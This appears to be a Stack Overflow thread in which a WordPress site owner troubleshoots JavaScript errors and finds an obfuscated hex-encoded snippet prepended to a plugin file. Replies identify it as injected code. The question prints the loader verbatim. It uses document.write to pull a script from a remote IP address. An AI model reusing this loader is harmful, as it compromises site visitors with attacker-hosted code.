0

All working fine in localhost, but in live server, all of a sudden I get the above mentioned error for every single js file.

I commented out wp_enqueue_scripts in functions.php, to see if the error disappears but it still there.

Also added below line thinking the string concatnation might have caused it.

//prevent javascript concat
define('CONCATENATE_SCRIPTS', false);

I can't find out what might cause this problem. Please advise me. I can provide my site's access to test.

EDIT:

I opened one of my plugin file shown in the console with error remark. Noticed weird string before the actual code begin. I suspect this could be the problem.

Is this some kind of prefix by wordpress or unwanted string from elsewhere?

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() {

    var meta_image_frame;
    var meta_mobileimage_frame;

        // Runs when the image button is clicked.
        jQuery('#banner_manager_image_button').click(function(e){

        ....plugins js code-----
        });


});
13
  • Check if your files have moved to server correctly. Maybe you have some additional chars somewhere? Like \r\n replaced to \r and than all comments become ruined Commented Jun 22, 2017 at 13:13
  • You may want to look at your javascript files to see where the issue may be. If there's a line number from the error, even better. Commented Jun 22, 2017 at 13:15
  • @aynber, I just checked one of the js files from console. I added my findings i my post above. see if you could advise Commented Jun 22, 2017 at 13:18
  • @Justinas, refering to my edited post, where could this additional chars come from? Commented Jun 22, 2017 at 13:19
  • Your site is infected. I can't even view this post on my computer because my antivirus freaks out. You'll need to clean up your WordPress site. Commented Jun 22, 2017 at 13:22

1 Answer 1

1

Your _0xaae8 is missing ; before jQuery(document).ready(.


This code : var _0xaae8=[... looks like injected code. Usually I had seen such codes injected via some bad written tools/plugins/libs that allow user to work with files (like uploading file to server). I suggest removing it if it's not your code and check other files on server too.

Sign up to request clarification or add additional context in comments.

3 Comments

I don't know where the additional string injected thus I'm not able to remove it. Also I did try deactivating all plugins to see if the issue resolved. But it persiste.
I suspect print_head_scripts function in script-loader contains the error...checking
@112233 Disabling plugins may not help, because files are already injected.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.